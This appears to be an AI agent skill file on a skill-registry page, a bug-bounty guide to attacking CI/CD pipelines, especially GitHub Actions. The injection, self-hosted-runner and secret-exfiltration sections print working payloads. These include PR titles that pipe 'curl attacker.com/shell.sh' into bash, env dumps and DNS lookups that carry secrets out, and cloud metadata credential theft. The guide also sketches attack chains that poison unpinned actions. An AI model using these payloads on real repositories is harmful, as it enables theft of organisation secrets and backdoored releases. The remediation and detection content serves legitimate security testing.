CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical findings. Use when a target has public repos, GitHub Actions, CircleCI, Jenkins, or GitLab CI.
65
78%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./skills/cicd-security/SKILL.mdCI/CD pipelines are high-value targets — a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production.
[ ] Run cicd_scanner.sh <owner/repo> — catch low-hanging workflow lint issues
[ ] Check for script injection: ${{ github.event.*.body/title/name }}
[ ] Find secrets referenced in env: — test if they leak in logs
[ ] Check pull_request_target with checkout of untrusted code
[ ] Look for self-hosted runners on public repos
[ ] Search for OIDC token requests without audience restriction
[ ] Check for unpinned actions (uses: owner/action@main)
[ ] Look for workflow_dispatch with no input validation
[ ] Find artifact downloads without integrity checks
[ ] Search for GITHUB_TOKEN with write permission used insecurely# Single repo
bash tools/cicd_scanner.sh owner/repo
# Org-wide (up to 30 repos)
bash tools/cicd_scanner.sh "org:orgname" --limit 50 --parallel 5
# Scan with recursive reusable workflow analysis
bash tools/cicd_scanner.sh owner/repo --recursive --depth 5
# Custom output
bash tools/cicd_scanner.sh owner/repo --output-dir ./findings/target/cicdOutput: findings/<target>/cicd/scan_results.txt + summary.txt
What sisakulint finds:
pull_request_target misuseeval, curl | bash, etc.)run: blocksGitHub Actions exposes PR/issue data as context variables. If injected into a run: block without sanitization, an attacker controls shell code.
# VULNERABLE — attacker controls pr.title
- name: Print PR title
run: echo "Title: ${{ github.event.pull_request.title }}"
# Attacker PR title: "; curl attacker.com/shell.sh | bash #"# SAFE — pass through env var, never interpolate directly
- name: Print PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $PR_TITLE"github.event.pull_request.title
github.event.pull_request.body
github.event.pull_request.head.ref ← branch names
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.review_comment.body
github.event.discussion.title
github.event.discussion.body
github.head_ref ← alias for branch name
github.event.inputs.* ← workflow_dispatch inputs# PR title / issue title payload:
"; wget -q -O- attacker.com/$(cat /etc/hostname | base64) ## Find injectable patterns in .github/workflows/
grep -rn '\${{.*github\.event\.\(pull_request\|issue\|comment\|review\|discussion\)' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.inputs' .github/workflows/pull_request_target runs in the context of the BASE repo (has secrets) but can be tricked into checking out and running attacker code.
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # ← attacker code!
- run: npm test # runs attacker's package.json scriptspull_request_target has access to secretsrun: step executes attacker-controlled code with access to all org secretsgrep -rn 'pull_request_target' .github/workflows/
# Then check if the same job does a checkout of the PR head
grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)'# Search for secrets echoed in run: blocks
grep -rn 'echo.*secrets\.' .github/workflows/
grep -rn 'cat.*secrets\.' .github/workflows/
grep -rn 'env.*secrets\.' .github/workflows/ | grep -v '^#'The auto-generated GITHUB_TOKEN can be used to:
# Check for overly broad permissions
permissions:
contents: write # ← Can push/delete code
packages: write # ← Can push malicious packages
pull-requests: write# In an injected run: block
curl "https://attacker.com/?d=$(printenv | base64 -w0)"
# Or via DNS (more stealthy)
nslookup "$(printenv SECRET | md5sum | cut -c1-20).attacker.com"Public repos with self-hosted runners allow ANY fork to queue jobs on internal machines.
# In workflow files
grep -rn 'self-hosted' .github/workflows/
# Combined with — does the repo accept PRs from forks?
# Pull triggers that run on self-hosted
grep -B5 'self-hosted' .github/workflows/*.yml | grep -E '(pull_request|push)'# Attacker adds to fork:
jobs:
pwn:
runs-on: self-hosted
steps:
- name: Recon
run: |
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
| xargs -I{} curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{}GitHub Actions can request short-lived cloud credentials via OIDC. Misconfigured trust policies allow any branch/repo to claim elevated AWS/GCP/Azure roles.
# Find OIDC usage
grep -rn 'id-token.*write\|configure-aws-credentials\|google-github-actions\|azure/login' .github/workflows/{
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:org/*:*"
}
}
}→ Any branch in the org can assume this role.
1. What role does the workflow assume? (aws:role: ARN in workflow or secrets)
2. Is the trust policy scoped to a specific branch? (ref:refs/heads/main)
3. Can you trigger this from a fork or feature branch?
4. What permissions does the role have?# VULNERABLE — could be hijacked if maintainer's account is compromised
uses: actions/checkout@v3
# SAFE — pinned to a specific commit SHA
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683package.json or requirements.txt that references internal packages# Find internal package names in config files
grep -rn '"registry"' package.json .npmrc
grep -rn 'index-url\|extra-index-url' requirements.txt pip.conf setup.py
# Check if those package names exist on public registries| Bug | Trigger | Severity | CVSS Range |
|---|---|---|---|
| Workflow injection via PR title | ${{ github.event.pull_request.title }} in run: | Critical | 9.0–10.0 |
pull_request_target + checkout | Accepts PRs from forks | Critical | 9.0–10.0 |
| Self-hosted runner on public repo | runs-on: self-hosted + public repo | High | 7.5–9.0 |
| OIDC trust too broad | Any-branch/any-repo claim | High | 7.5–8.5 |
| Secret in log | echo ${{ secrets.X }} | Medium | 5.5–7.0 |
| Unpinned action | @main / @v1 tag | Low–Medium | 3.0–5.5 |
| Artifact poisoning | Unsigned artifact download + exec | Medium | 5.5–7.0 |
GITHUB_TOKEN write abuse | Push to protected branch | Medium | 5.5–7.0 |
| Dependency confusion | Internal pkg not on public registry | High | 7.5–9.0 |
workflow_dispatch injection | Unvalidated inputs in run: | Medium–High | 6.0–8.0 |
1. IDOR on /api/repos/{id}/settings → read CI/CD config
2. Config references internal secret names
3. Workflow injection to exfil those secrets
→ Impact: Full org secret exfiltration1. Stored XSS on internal GitHub Enterprise
2. JS payload reads document.cookie / localStorage for GITHUB_TOKEN
3. Token used to trigger workflow with malicious inputs
→ Impact: RCE on build infrastructure1. Find unpinned action (e.g., uses: corp/internal-action@main)
2. Fork or compromise corp/internal-action
3. Merge malicious code
4. Next CI run pulls the compromised action with full repo write access
→ Impact: Code execution, backdoored releases## Summary
GitHub Actions workflow in `<repo>` is vulnerable to **workflow injection** via the
`github.event.pull_request.title` context variable, which is interpolated directly
into a `run:` shell block. An attacker who opens a specially crafted PR can achieve
arbitrary code execution on the build runner with full access to all repository secrets.
## Steps to Reproduce
1. Fork `<repo>`
2. Open a PR with the following title:
`"; curl -s attacker.com/$(cat /etc/hostname | base64 -w0 | head -c 40) #`
3. The CI workflow `.github/workflows/<name>.yml` runs and executes the injected command.
4. Observe DNS/HTTP callback to attacker.com with hostname (or secret payload).
## Impact
- RCE on build runner
- Read of all `${{ secrets.* }}` available to the workflow
- Ability to push malicious code to repository or publish backdoored packages
- Pivot to internal network if runner is self-hosted
## Remediation
Replace direct context interpolation with environment variable assignment:
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "$PR_TITLE"
## CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (Critical, 10.0)SECURITY.md or the program policy for CI/CD-specific scope language.| Tool | Purpose | Install |
|---|---|---|
sisakulint | Lint GitHub Actions workflows for security issues | bash install_tools.sh |
trufflehog | Find secrets leaked in git history / workflow logs | bash install_tools.sh |
gitleaks | Scan repos for hardcoded secrets | bash install_tools.sh |
gh CLI | Download workflow logs, list secrets, trigger runs | brew install gh |
nuclei | CI/CD-specific templates | -tags cicd |
secrets_hunter.sh | Wrapper for all three secret scanners | bash tools/secrets_hunter.sh |
# Download public workflow run logs (no auth needed)
gh run list --repo owner/repo --limit 10
gh run view <run-id> --log --repo owner/repo
# List exposed secret names (names only — values never shown by API)
gh secret list --repo owner/repo0826b13
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.